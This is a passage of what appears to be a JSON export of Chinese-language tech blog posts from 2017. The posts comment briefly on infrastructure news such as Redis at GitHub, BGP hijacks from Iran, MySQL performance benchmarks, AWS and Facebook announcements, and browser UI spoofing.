OPTION;</pre>\r\n\r\n針對權限的部份可以整批搬...",
    "title": "pt-show-grants"
  },
  {
    "id": "7076",
    "body": "<a href=\"http://githubengineering.com/\">GitHub Engineering</a> 說明了他們為什麼改變 <a href=\"https://redis.io/\">Redis</a> 的使用情境：「<a href=\"http://githubengineering.com/moving-persistent-data-out-of-redis/\">Moving persistent data out of Redis</a>」。\r\n\r\n在 <a href=\"https://github.com/\">GitHub</a> 裡面，Redis 有兩種不同的情境，一種叫做 transient Redis，只用做 cache：\r\n\r\n<blockquote>We used it as an <a href=\"https://redis.io/topics/lru-cache\">LRU cache</a> to conveniently store the results of expensive computations over data originally persisted in Git repositories or MySQL. We call this <em>transient Redis</em>.</blockquote>\r\n\r\n另外一種則是打開 persistence 功能，叫做 persistent Redis：\r\n\r\n<blockquote>We also enabled <a href=\"https://redis.io/topics/persistence\">persistence</a>, which gave us durability guarantees over data that was not stored anywhere else. We used it to store a wide range of values: from sparse data with high read/write ratios, like configuration settings, counters, or quality metrics, to very dynamic information powering core features like spam analysis. We call this <em>persistent Redis</em>.</blockquote>\r\n\r\n這邊講的是 persistent Redis 被換成用 <a href=\"https://dev.mysql.com/\">MySQL</a> (InnoDB) 儲存：\r\n\r\n<blockquote>Recently we made the decision to disable persistence in Redis and stop using it as a source of truth for our data. The main motivations behind this choice were to:\r\n\r\n<ul>\r\n\t<li>Reduce the operational cost of our persistence infrastructure by removing some of its complexity.</li>\r\n\t<li>Take advantage of our expertise operating MySQL.</li>\r\n\t<li>Gain some extra performance, by eliminating the I/O latency during the process of writing big changes on the server state to disk.</li>\r\n</ul>\r\n\r\nFor the majority of callsites, we replaced persistent Redis with <code>GitHub::KV</code>, a MySQL key/value store of our own built atop InnoDB, with features like key expiration. We were able to use <code>GitHub::KV</code> almost identically as we used Redis: from trending repositories and users for the explore page, to rate limiting to spammy user detection.</blockquote>\r\n\r\n後面講了不少轉換的過程 (還包含了某些功能的改寫)，但沒有講的太清楚為什麼不繼續使用 Redis。\r\n\r\n目前只能就提到的三點問題來看，persistent 的 i/o 成本可能太高？而且難以再壓榨效能出來？而相反的，InnoDB 已經花了很多力氣在上面，直接拿來用反而可以解決問題？\r\n\r\n不過看得出來這個轉換還是花了不少力氣，看得出來有些 application 使用 Redis 的模式不能直接搬到 InnoDB 上，花了時間改寫...",
    "title": "GitHub 重新定位 Redis 的功能..."
  },
  {
    "id": "7078",
    "body": "<a href=\"http://dyn.com/\">Dyn</a> (之前被 DDoS 打爆，過一陣子被 <a href=\"https://www.oracle.com/\">Oracle</a> 買去的那個 Dyn) 的這篇「<a href=\"https://dyn.com/blog/iran-leaks-censorship-via-bgp-hijacks/\">Iran Leaks Censorship via BGP Hijacks</a>」講到他們偵測到伊朗透過 BGP hijack 管制網站的問題。\r\n\r\n前陣子伊朗透過 private ASN 放了 <code>99.192.226.0/24</code> 出來，影響到其他國家：\r\n\r\n<blockquote>Last week, Iranian state telecom announced a BGP hijack of address space (99.192.226.0/24) hosting numerous pornographic websites.</blockquote>\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/bb1Hr25.webp\" /><img src=\"https://i.gslin.com/imgur/bb1Hr25.jpg\" alt=\"\" /></picture>\r\n\r\n由於這段 IP address 在 internet 上是以 <code>99.192.128.0/17</code> 在放，就因為 <code>/24</code> 優先權比較高而被蓋過去影響到全世界...\r\n\r\n然後過了幾天，開始攻擊蘋果的 <a href=\"https://www.apple.com/itunes/\">iTunes</a> 服務，不過這次是以 <code>/32</code> 放出來。由於大多數收的最小單位是 <code>/24</code>，這次的影響沒有上次大：\r\n\r\n<blockquote>In addition, TIC announced BGP hijacks for 20 individual IPs associated with Apple’s iTunes service.  These too were carried by Omantel to the outside world, albeit with a smaller footprint due to the fact that BGP routes for /32’s typically don’t propagate very far.</blockquote>\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/tENHPeO.webp\" /><img src=\"https://i.gslin.com/imgur/tENHPeO.jpg\" alt=\"\" /></picture>\r\n\r\n這看得出來 routing 在 internet 上還是非常脆弱...",
    "title": "伊朗透過 BGP 管制網路的手段影響其他國家網路..."
  },
  {
    "id": "7079",
    "body": "這幾年對於開放式空間有不少反面意見出來，像是這幾天 <a href=\"https://www.bbc.com/\">BBC</a> 登的「<a href=\"https://www.bbc.com/capital/story/20170105-open-offices-are-damaging-our-memories\">Why open offices are bad for us</a>」。\r\n\r\n這是目前的主流，大量的公司採用開放式空間：\r\n\r\n<blockquote>Numerous companies have embraced the open office — about 70% of US offices are open concept — and by most accounts, very few have moved back into traditional spaces with offices and doors.</blockquote>\r\n\r\n但人的效率會因為開放式空間大約掉 15%：\r\n\r\n<blockquote>But research that we’re 15% less productive, we have immense trouble concentrating and we’re twice as likely to get sick in open working spaces, has contributed to a growing backlash against open offices.</blockquote>\r\n\r\n採用開放式空間最常見的理由包括辦公室成本 (每個人平均分到的空間大小會比較低)，另外一個是藉由開放式空間讓互相討論合作的成本降低，但因為開放式空間，反而是影響到別人的情況比討論合作的情況多，甚至是與工作無關的事情也會影響到期他人：\r\n\r\n<blockquote>Beside the cheaper cost, one main argument for the open workspace is that it increases collaboration. However, it’s well documented that we rarely brainstorm brilliant ideas when we’re just shooting the breeze in a crowd. Instead, as many of us know, we’re more likely to hear about the Christmas gift a colleague is buying for a family member, or problems with your deskmate’s spouse.</blockquote>\r\n\r\n其實科技的進步讓遠端溝通的成本降低了不少，像是 <a href=\"https://slack.com/\">Slack</a> 或 <a href=\"https://zoom.us/\">Zoom</a>，現在未必要靠 open office 的架構讓大家溝通了。",
    "title": "辦公室採用開放式空間的問題"
  },
  {
    "id": "7080",
    "body": "看到「<a href=\"https://gizmodo.com/this-human-powered-paper-centrifuge-is-pure-genius-1790996940\">This Human-Powered Paper Centrifuge Is Pure Genius</a>」這個設計真的很巧妙... 全文刊登在 <a href=\"http://www.nature.com/natbiomedeng/\">nature biomedical engineering</a> 上：「<a href=\"http://www.nature.com/articles/s41551-016-0009\">Hand-powered ultralow-cost paper centrifuge</a>」。\r\n\r\n起源來自於小時候的玩具 (我也有印象，但忘記中文叫什麼了...)：\r\n\r\n<blockquote>Here, we report an ultralow-cost (20 cents), lightweight (2 g), human-powered paper centrifuge (which we name ‘paperfuge’) designed on the basis of a theoretical model inspired by the fundamental mechanics of an ancient whirligig (or buzzer toy; 3,300 BC).</blockquote>\r\n\r\n研究後發現離心速度可以到 125000rpm：\r\n\r\n<blockquote>The paperfuge achieves speeds of 125,000 r.p.m. (and equivalent centrifugal forces of 30,000 g), with theoretical limits predicting 1,000,000 r.p.m.</blockquote>\r\n\r\n<img src=\"https://i.gslin.com/imgur/48t2TPS.gif\" alt=\"\" />\r\n\r\n對於無法買昂貴醫療器材的地區，這樣就有簡單但又頗有效的離心機做檢驗...",
    "title": "用人力就可以達到離心機的效果..."
  },
  {
    "id": "7082",
    "body": "<a href=\"https://aws.amazon.com/\">AWS</a> 的人把 auditing plugin 移植到 <a href=\"https://aws.amazon.com/rds/aurora/\">Amazon Aurora</a> 的 <a href=\"https://dev.mysql.com/\">MySQL</a> 環境上了：「<a href=\"https://aws.amazon.com/blogs/database/auditing-an-amazon-aurora-cluster/\">Auditing an Amazon Aurora Cluster</a>」。\r\n\r\n官方宣稱的效能很好，打開後不會掉太多：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/oaGT9n2.webp\" /><img src=\"https://i.gslin.com/imgur/oaGT9n2.jpg\" alt=\"\" /></picture>\r\n\r\n主要原因是把寫 auditing log 這塊改寫掉：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/XSBLazD.webp\" /><img src=\"https://i.gslin.com/imgur/XSBLazD.jpg\" alt=\"\" /></picture>\r\n\r\n這樣看起來頗不錯，平常其實可以開起來讓他記錄？",
    "title": "Amazon Aurora 支援 Auditing"
  },
  {
    "id": "7083",
    "body": "<a href=\"https://cloud.google.com/\">GCP</a> 提供 <a href=\"https://cloud.google.com/kms/\">Cloud Key Management Service</a> (目前是 beta)，將對 key 的處理 (像是加解密) 變成服務的一部分。\r\n\r\n費用的部份，比較大的量應該會在「Key use operations (Encrypt/ Decrypt)」這塊？每一萬次收 USD$0.03。\r\n\r\n自己建會有一堆稽核問題要處理，有人建起來後直接用，拔責任直接拆開的確是比較方便...",
    "title": "Google Cloud Platform 提供 Cloud Key Management Service"
  },
  {
    "id": "7084",
    "body": "<a href=\"https://www.percona.com/\">Percona</a> 的老大拿 5.7 版做實驗，確認 swap 對 InnoDB 的影響：「<a href=\"https://www.percona.com/blog/2017/01/13/impact-of-swapping-on-mysql-performance/\">The Impact of Swapping on MySQL Performance</a>」。\r\n\r\n測試的機器是 32GB RAM，作業系統 (以及 swap) 裝在已經有點年紀的 <a href=\"https://www-ssl.intel.com/content/www/us/en/support/solid-state-drives/legacy-consumer-ssds/intel-ssd-520-series.html\">Intel 520 SSD</a> 上，而 <a href=\"https://dev.mysql.com/\">MySQL</a> 則是裝在 <a href=\"https://www-ssl.intel.com/content/www/us/en/solid-state-drives/solid-state-drives-750-series.html\">Intel 750 NVMe</a> 上。透過對 <code>innodb_buffer_pool</code> 的調整來看情況。\r\n\r\n可以看到設為 24GB (記憶體 75% 的量) 時很穩定的在 44K QPS 與 3.5ms (95%)：\r\n\r\n<blockquote>This gives us about 44K QPS. The 95% query response time (reported by sysbench) is about 3.5ms.</blockquote>\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/tMjCIjj.webp\" /><img src=\"https://i.gslin.com/imgur/tMjCIjj.jpg\" alt=\"\" /></picture>\r\n\r\n而當設成 32GB 的時候開始可以觀察到 swap i/o，掉到 20K QPS 與 9ms (95%)：\r\n\r\n<blockquote>We can see that performance stabilizes after a bit at around 20K QPS, with some 380MB/sec disk IO and 125MB/sec swap IO. The 95% query response time has grown to around 9ms.</blockquote>\r\n\r\n當拉到 48GB 的時候就更掉更多，6K QPS 與 35ms (95%)：\r\n\r\n<blockquote>Now we have around 6K QPS. Disk IO has dropped to 250MB/sec, and swap IO is up to 190MB/sec. The 95% query response time is around 35ms.</blockquote>\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/42ERwyf.webp\" /><img src=\"https://i.gslin.com/imgur/42ERwyf.jpg\" alt=\"\" /></picture>\r\n\r\n作者發現掉的比率沒有想像中大：\r\n\r\n<blockquote>When I started, I expected severe performance drop even with very minor swapping. I surprised myself by getting swap activity to more than 100MB/sec, with performance “only” halved.</blockquote>\r\n\r\n這邊測試用的是 SSD，如果是傳統用磁頭的硬碟，對 random access 應該會很敏感而掉更多：\r\n\r\n<blockquote>This assumes your swap space is on an SSD, of course! SSDs handle random IO (which is what paging activity usually is) much better than HDDs.</blockquote>\r\n\r\n基本上還是要避免碰到 swap 啦，另外 comment 的地方剛好有提到前陣子在猜測的 best practice，測試時的 <code>vm.swappiness</code> 是設成 <code>1</code>，這應該是作者的 best practice：\r\n\r\n<blockquote>Swappiness was set to 1 in this case. I was not expecting this to cause significant impact as swapping is caused by genuine (intended) missconfiguration with more memory required than available.</blockquote>",
    "title": "Swap 對 InnoDB 的影響"
  },
  {
    "id": "7086",
    "body": "<a href=\"https://github.com/facebook/mysql-5.6/wiki/Getting-Started-with-MyRocks\">MyRocks</a> 的 <a href=\"https://smalldatum.blogspot.com/\">Mark Callaghan</a> 對 INSERT 效率整理出來的比較：「<a href=\"https://smalldatum.blogspot.com/2017/01/insert-benchmark-myrocks-and-innodb.html\">Insert benchmark, MyRocks and InnoDB</a>」。\r\n\r\n當資料比記憶體小的時候，InnoDB 效能比較好。但超過記憶體大小時就是 MyRocks 效能比較好。另外 InnoDB 在 <a href=\"https://dev.mysql.com/\">MySQL</a> 5.7 的效率比 5.6 好不少。\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/AACq5qQ.webp\" /><img src=\"https://i.gslin.com/imgur/AACq5qQ.jpg\" alt=\"\" /></picture>\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/vsrqqYf.webp\" /><img src=\"https://i.gslin.com/imgur/vsrqqYf.jpg\" alt=\"\" /></picture>\r\n\r\n兩張圖來自相同資料，只是 x 軸不太一樣。\r\n\r\n是從 16 台 client 裡面抽一台的量出來，這樣就可以解釋後面那段爬上來... (其他台跑完了，所以這台的 insert 速度變快了)\r\n\r\n<blockquote>This is for data from one of the 16 clients rather than the global rate because my test script forgot to collect that.</blockquote>\r\n\r\n<blockquote>While it is odd that the throughput rate for InnoDB 5.7 picks up at test end, that can occur if the thread I monitored ran longer than other threads and had less competition for HW resources near test end.</blockquote>",
    "title": "MyRocks 與 InnoDB 在 INSERT 效能的比較"
  },
  {
    "id": "7087",
    "body": "<a href=\"https://www.facebook.com/\">Facebook</a> 在「<a href=\"https://code.facebook.com/posts/635645183305089/legacy-support-on-ipv6-only-infra/\">Legacy support on IPv6-only infra</a>」這邊提到機房內主要的流量幾乎都是 IPv6 了：\r\n\r\n<blockquote>Today, 99 percent of our internal traffic is IPv6 and half of our clusters are IPv6-only.</blockquote>\r\n\r\n不過只有一半的機器是 IPv6-only，這個比例看起來還有不少服務在 dual-stack 轉移階段... 然後從外部只有 15% 的流量是 IPv6：\r\n\r\n<blockquote>Globally, however, only 15 percent of people who use Facebook have IPv6 support.</blockquote>\r\n\r\n所以從外部連進來的時候必須轉換成 IPv6 資訊：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/teMm8Nt.webp\" /><img src=\"https://i.gslin.com/imgur/teMm8Nt.jpg\" alt=\"\" /></picture>\r\n\r\n這張圖也解釋了 shiv 的角色，在 traceroute 的時候會看到他...",
    "title": "Facebook 機房內的 IPv6 架構"
  },
  {
    "id": "7088",
    "body": "作者 <a href=\"https://twitter.com/ericlaw\">Eric Lawrence</a> 現在在 <a href=\"https://www.google.com/chrome/\">Google Chrome</a> team 裡，寫了一篇文章講到瀏覽器上 UI 設計與安全性的問題：「<a href=\"https://textslashplain.com/2017/01/14/the-line-of-death/\">The Line of Death</a>」。\r\n\r\n從一開始會假設紅線以上是可信任的：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/pHmkCQD.webp\" /><img src=\"https://i.gslin.com/imgur/pHmkCQD.jpg\" alt=\"\" /></picture>\r\n\r\n後來有些操作跨過這條線 (左邊)，於是就開始有很 tricky 的方法 (右邊)：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/NsBcJb1.webp\" /><img src=\"https://i.gslin.com/imgur/NsBcJb1.jpg\" alt=\"\" /></picture>\r\n\r\n甚至反過來利用 icon 讓使用者誤會是表示有訊息要通知使用者：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/h8FleJg.webp\" /><img src=\"https://i.gslin.com/imgur/h8FleJg.jpg\" alt=\"\" /></picture>\r\n\r\n另外是直接惡搞，假裝是另外一個視窗：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/GIfPFLL.webp\" /><img src=\"https://i.gslin.com/imgur/GIfPFLL.jpg\" alt=\"\" /></picture>\r\n\r\n最新的方法是利用 HTML5 的 <a href=\"https://developer.mozilla.org/en-US/docs/Web/API/Fullscreen_API\">Fullscreen API</a> 直接搞定所有事情：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/6wrrYX6.webp\" /><img src=\"https://i.gslin.com/imgur/6wrrYX6.jpg\" alt=\"\" /></picture>\r\n\r\n花樣愈來愈多了...",
    "title": "瀏覽器 UI 的死亡線"
  },
  {
    "id": "7089",
    "body": "<a href=\"https://aws.amazon.com/ec2/\">Amazon EC2</a> 的 r4.* 總算是開出來了：「<a href=\"https://aws.amazon.com/about-aws/whats-new/2017/01/amazon-ec2-r4-instances-are-now-available-in-new-regions/\">Amazon EC2 R4 instances are now available in new regions</a>」。\r\n\r\n<blockquote>Amazon EC2 R4 instances are now available in the following regions: Asia Pacific (Tokyo), Asia Pacific (Singapore), South America (São Paulo), Asia Pacific (Seoul), Asia Pacific (Mumbai), Canada (Central), and EU (London).</blockquote>\r\n\r\nr4.16xlarge (488GB) 算是補上中間的 r3.8xlarge (244GB) 與 x1.16xlarge (976GB) 中間的一塊洞了，不然之前得開 p2.8xlarge (488GB)，但也不是每一區都有，而且用不到 GPU 就浪費了...",
    "title": "EC2 的 r4 系列機器開出來了..."
  },
  {
    "id": "7090",
    "body": "<a href=\"https://github.com/minimaxir/big-list-of-naughty-strings\">Big List of Naughty Strings</a> 是個測試用的列表，拿他來塞 input 看看系統會不會爆炸出現 500 之類的錯誤 XD\r\n\r\n<img src=\"https://i.gslin.com/imgur/tpczANl.gif\" alt=\"\" />\r\n\r\n2015 年就有的專案，這幾天又上了 <a href=\"https://news.ycombinator.com/\">Hacker News</a> 跟 <a href=\"https://www.reddit.com/\">reddit</a> 於是又冒出來了...",
    "title": "常見搞爆系統的字串"
  },
  {
    "id": "7092",
    "body": "<a href=\"https://aws.amazon.com/\">AWS</a> 總算是進入全面支援 IPv6 了：「<a href=\"https://aws.amazon.com/blogs/aws/aws-ipv6-update-global-support-spanning-15-regions-multiple-aws-services/\">AWS IPv6 Update – Global Support Spanning 15 Regions &amp; Multiple AWS Services</a>」。\r\n\r\n之前不少服務都支援了，主要是差 <a href=\"https://aws.amazon.com/ec2/\">EC2</a> 與新出的 <a href=\"https://aws.amazon.com/elasticloadbalancing/applicationloadbalancer/\">ALB</a>，這一次大量服務都上了 IPv6 (但還不是全部)，算是讓 AWS 正式進入 IPv6 的世界：\r\n\r\n<blockquote>Today I am happy to share the news that IPv6 support for EC2 instances in VPCs is now available in a total of fifteen regions, along with Application Load Balancer support for IPv6 in nine of those regions.</blockquote>\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/IJdiAmj.webp\" /><img src=\"https://i.gslin.com/imgur/IJdiAmj.jpg\" alt=\"\" /></picture>",
    "title": "AWS 正式進入 IPv6 的世界"
  },
  {
    "id": "7093",
    "body": "德國是歐洲區重要的交換中心，不過量大到可以讓 <a href=\"https://aws.amazon.com/cloudfront/\">CloudFront</a> 加到第五個點就頗意外的：「<a href=\"https://aws.amazon.com/about-aws/whats-new/2017/01/announcing-new-munich-edge-location-for-amazon-cloudfront-our-7th-edge-location-in-germany/\">Announcing New Munich Edge Location for Amazon CloudFront, our 7th Edge Location in Germany</a>」。\r\n\r\n慕尼黑的第五個點，全德國第七個點：\r\n\r\n<blockquote>The Munich location is our third location in Germany (joining Frankfurt and Berlin), and our 7th edge location in Germany bringing the total number of worldwide edge locations to 69.</blockquote>",
    "title": "CloudFront 在慕尼黑加到第五個機房..."
  },
  {
    "id": "7094",
    "body": "<a href=\"https://aws.amazon.com/codedeploy/\">AWS CodeDeploy</a> 推出了 <a href=\"https://martinfowler.com/bliki/BlueGreenDeployment.html\">BlueGreenDeployment</a> 的功能：「<a href=\"https://aws.amazon.com/about-aws/whats-new/2017/01/aws-codedeploy-introduces-blue-green-deployments/\">AWS CodeDeploy Introduces Blue/Green Deployments</a>」。\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/zAh4ULz.webp\" /><img src=\"https://i.gslin.com/imgur/zAh4ULz.jpg\" alt=\"\" /></picture>\r\n\r\nBlueGreenDeployment 的目的不計成本想辦法把上線的 downtime 壓到最低，而且當出問題時 rollback 的時間壓到最低的方法：\r\n\r\n<blockquote>One of the challenges with automating deployment is the cut-over itself, taking software from the final stage of testing to live production. You usually need to do this quickly in order to minimize downtime.</blockquote>\r\n\r\n<blockquote>Blue-green deployment also gives you a rapid way to rollback - if anything goes wrong you switch the router back to your blue environment.</blockquote>\r\n\r\n其實就是直接跑兩個環境 (所以成本比較高)，一套跑舊的一套跑新的，然後在前面的 load balancer 切換：\r\n\r\n<blockquote>The blue-green deployment approach does this by ensuring you have two production environments, as identical as possible.</blockquote>",
    "title": "AWS CodeDeploy 支援 BlueGreenDeployment"
  },
  {
    "id": "7096",
    "body": "<a href=\"https://www.facebook.com/\">Facebook</a> 也支援 <a href=\"https://en.wikipedia.org/wiki/Universal_2nd_Factor\">U2F</a> (Universal 2nd Factor) 了：「<a href=\"https://www.facebook.com/notes/facebook-security/security-key-for-safer-logins-with-a-touch/10154125089265766\">Security Key for safer logins with a touch</a>」。\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/uI5AC7X.webp\" /><img src=\"https://i.gslin.com/imgur/uI5AC7X.jpg\" alt=\"\" /></picture>\r\n\r\n之前買 <a href=\"https://www.yubico.com/\">Yubico</a> 的 Yubikey 好像不支援 U2F (很久前買的版本)，好像該買幾顆玩具看看了... 剛剛翻了翻 <a href=\"https://www.amazon.com/\">Amazon</a>，好像不少家都有支援 U2F，也許不一定要買 Yubico 的產品 :o",
    "title": "Facebook 支援 U2F 登入..."
  },
  {
    "id": "7097",
    "body": "<a href=\"https://www.percona.com/\">Percona</a> 的人對 <a href=\"https://dev.mysql.com/\">MySQL</a> 5.7 的 OLTP RW 測試中，Performance Schema 的各種不同的功能對效能帶來的影響：「<a href=\"https://www.percona.com/blog/2017/01/26/performance-schema-benchmarks-oltp-rw/\">Performance Schema Benchmarks: OLTP RW</a>」。\r\n\r\n原文章裡有定義這些分別是打開哪些功能，這邊就跳過去... 重點是 default 值對效能的影響其實不算高，所以除非是想要壓榨每一分效能，不然其實可以考慮打開 (針對 OLTP RW 類似的應用)：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/UHK1dYl.webp\" /><img src=\"https://i.gslin.com/imgur/UHK1dYl.jpg\" alt=\"\" /></picture>\r\n\r\n影響比較大的是 Stages 與 Waits 的部份。而 <a href=\"https://smalldatum.blogspot.com/\">Mark Callaghan</a> 在 comment 提到在 <a href=\"https://dev.mysql.com/doc/refman/5.7/en/performance-schema-timing.html\">Performance Schema Event Timing</a> 這邊有相關的資料... 看起來應該可以降低對 Stages 與 Waits 的效能衝擊。",
    "title": "細看 MySQL 的 Performance Schema 對效能的影響"
  },
  {
    "id": "7098",
    "body": "<a href=\"https://www.facebook.com/\">Facebook</a> 花了不少時間對付 reload 這件事情：「<a href=\"https://code.facebook.com/posts/557147474482256/this-browser-tweak-saved-60-of-requests-to-facebook/\">This browser tweak saved 60% of requests to Facebook</a>」。\r\n\r\nFacebook 的人發現有大量對靜態資源的 request 都是 304 (not modified) 回應：\r\n\r\n<blockquote>In 2014 we found that 60% of requests for static resources resulted in a 304. Since content addressed URLs never change, this means there was an opportunity to optimize away 60% of static resource requests.</blockquote>\r\n\r\n而 <a href=\"https://www.google.com/chrome/\">Google Chrome</a> 很明顯偏高：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/p3lBOAS.webp\" /><img src=\"https://i.gslin.com/imgur/p3lBOAS.jpg\" alt=\"\" /></picture>\r\n\r\n於是他們找出原因後，發現 Google Chrome 只要 POST 後的頁面都會 revalidate：\r\n\r\n<blockquote>A piece of code in Chrome hinted at the answer to our question. This line of code listed a few reasons, including reload, for why Chrome might ask to revalidate resources on a page. For example, we found that Chrome would revalidate all resources on pages that were loaded from making a POST request.</blockquote>\r\n\r\n然後在討論後認為這個行為不必要，就修掉了，可以看到降了非常多：\r\n\r\n<blockquote>We worked with Chrome product managers and engineers and determined that this behavior was unique to Chrome and unnecessary. After fixing this, Chrome went from having 63% of its requests being conditional to 24% of them being conditional.</blockquote>\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/qeTkPVd.webp\" /><img src=\"https://i.gslin.com/imgur/qeTkPVd.jpg\" alt=\"\" /></picture>\r\n\r\n但還是很明顯比起其他瀏覽器偏高不少，在追問題後發現當輸入同樣的 url 時 (像是 Ctrl-L 或是 Cmd-L 然後直接按 enter)，Google Chrome 會當作 reload：\r\n\r\n<blockquote>The fact that the percentage of conditional requests from Chrome was still higher than other browsers seemed to indicate that we still had some opportunity here. We started looking into reloads and discovered that Chrome was treating same URL navigations as reloads while other browsers weren't.</blockquote>\r\n\r\n不過這次推出修正後發現沒有大改變：(拿 production 測試 XDDD)\r\n\r\n<blockquote>Chrome fixed the same URL behavior, but we didn't see a huge metric change. We began to discuss changing the behavior of the reload button with the Chrome team.</blockquote>\r\n\r\n後來是針對 reload button 的行為修改，<code>max-age</code> 很長的就不 reload，比較短的就 reload。算是一種 workaround：\r\n\r\n<blockquote>There was some debate about what to do, and we proposed a compromise where resources with a long max-age would never get revalidated, but that for resources with a shorter max-age the old behavior would apply. The Chrome team thought about this and decided to apply the change for all cached resources, not just the long-lived ones.</blockquote>\r\n\r\n<a href=\"https://www.google.com/\">Google</a> 也發了一篇說明這個新功能：「<a href=\"https://blog.chromium.org/2017/01/reload-reloaded-faster-and-leaner-page_26.html\">Reload, reloaded: faster and leaner page reloads</a>」。\r\n\r\n當 Facebook 的人找 <a href=\"https://www.mozilla.org/firefox/\">Firefox</a> 的人時，Firefox 決定另外定義哪些東西在 reload 時不需要 revalidate，而不像 Google Chrome 的 workaround：\r\n\r\n<blockquote>Firefox chose to implement this directive in the form of a <code>cache-control: immutable</code> header.</blockquote>\r\n\r\nFirefox 的人也寫了一篇「<a href=\"https://hacks.mozilla.org/2017/01/using-immutable-caching-to-speed-up-the-web/\">Using Immutable Caching To Speed Up The Web</a>」解釋這個新功能。\r\n\r\n所以之後規劃前後端的架構時又有東西要考慮進去...",
    "title": "Facebook 與 Google Chrome 以及 Firefox 的人合作降低 Reload 使用的資源"
  },
  {
    "id": "7099",
    "body": "這篇的標題真直接 XDDD：「<a href=\"http://robert.ocallahan.org/2017/01/disable-your-antivirus-software-except.html\">Disable Your Antivirus Software (Except Microsoft's)</a>」。\r\n\r\n其實差不多跟作者提到的一樣，防毒軟體的功用真的很少。真的要執行來路不明的檔案時 (或是確定會有一堆 malware 的中國軟體時 XDDD)，應該要丟到其他的 vm 裡面隔離，甚至是另外一台實體機器，而非靠防毒軟體擋下。\r\n\r\n實在是有太多防毒軟體來亂了，為了達成目的把本來的安全設計打掉，然後再加上自己有問題的設計...",
    "title": "關於防毒軟體..."
  },
  {
    "id": "7100",
    "body": "看起來是因為 Trump 就職的關係，讓《<a href=\"https://zh.wikipedia.org/wiki/%E4%B8%80%E4%B9%9D%E5%85%AB%E5%9B%9B\">一九八四</a>》登上 <a href=\"https://www.amazon.com/\">Amazon</a> 的銷售排行榜第一名：「<a href=\"http://www.openculture.com/2017/01/george-orwells-1984-is-now-the-1-bestselling-book-on-amazon.html\">George Orwell’s 1984 Is Now the #1 Bestselling Book on Amazon</a>」。\r\n\r\n在 <a href=\"https://www.amazon.com/best-sellers-books-Amazon/zgbs/books\">Best Sellers in Books</a> 這邊可以看到：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/1voZjsZ.webp\" /><img src=\"https://i.gslin.com/imgur/1voZjsZ.jpg\" alt=\"\" /></picture>",
    "title": "《一九八四》登上 Amazon 銷售排行榜第一名"
  },
  {
    "id": "7102",
    "body": "<a href=\"https://aws.amazon.com/redshift/\">Amazon Redshift</a> 支援 <a href=\"https://facebook.github.io/zstd/\">Zstandard</a> 壓縮資料：「<a href=\"https://aws.amazon.com/about-aws/whats-new/2017/01/amazon-redshift-now-supports-the-zstandard-high-data-compression-encoding-and-two-new-aggregate-functions/\">Amazon Redshift now supports the Zstandard high data compression encoding and two new aggregate functions</a>」。\r\n\r\nZstandard 是 <a href=\"https://www.facebook.com/\">Facebook</a> 的人發展出來的壓縮與解壓縮方式，對比的對象主要是 <a href=\"http://www.zlib.net/\">zlib</a> (或者說 gzip)，官網上有不少比較圖。目標是希望在同樣的壓縮處理速度下，可以得到更好的壓縮率。\r\n\r\nRedshift 支援 Zstandard 等於是讓現有使用 gzip 的使用者免費升級的感覺...",
    "title": "Amazon Redshift 支援 Zstandard"
  },
  {
    "id": "7103",
    "body": "<a href=\"https://kernel.org/\">kernel.org</a> 將關閉 FTP 服務：「<a href=\"https://kernel.org/shutting-down-ftp-services.html\">Shutting down FTP services</a>」。\r\n\r\n三月將關閉 <code>ftp://ftp.kernel.org/</code>，而 12 月將關閉 <code>ftp://mirrors.kernel.org/</code>。現在透過 HTTP 更新已經是主流了，對於 firewall 設定與 cache 都有比較好的支援。",
    "title": "kernel.org 將要關閉 FTP 服務"
  },
  {
    "id": "7104",
    "body": "三個月前 <a href=\"https://www.pinterest.com/\">Pinterest</a> 提到對 InnoDB 壓縮的改善，講到透過字典的改善方式：「<a href=\"https://blog.gslin.org/archives/2016/10/20/6923/pinterest-%E5%9C%A8-innodb-compression-%E7%9A%84%E5%8A%AA%E5%8A%9B/\">Pinterest 在 InnoDB Compression 的努力</a>」。\r\n\r\n而在「<a href=\"https://engineering.pinterest.com/blog/evolving-mysql-compression-part-2\">Evolving MySQL Compression - Part 2</a>」這邊繼續說明要怎麼生出對 Pinterest 比較有效的字典內容，作者把計算的工具放到 <a href=\"https://github.com/\">GitHub</a> 上讓其他人可以用 (用 <a href=\"https://www.python.org/\">Python</a> 寫的)：「<a href=\"https://github.com/pinterest/mysql_utils/tree/master/zdict_gen\">pinterest/mysql_utils/zdict_gen/</a>」。\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/u8WrUgv.webp\" /><img src=\"https://i.gslin.com/imgur/u8WrUgv.jpg\" alt=\"\" /></picture>\r\n\r\n可以看出來又增加不少壓縮率，這算是針對資料庫壓縮從 A 到 A+ 的行為吧...",
    "title": "Pinterest 對 InnoDB 壓縮的改善"
  },
  {
    "id": "7105",
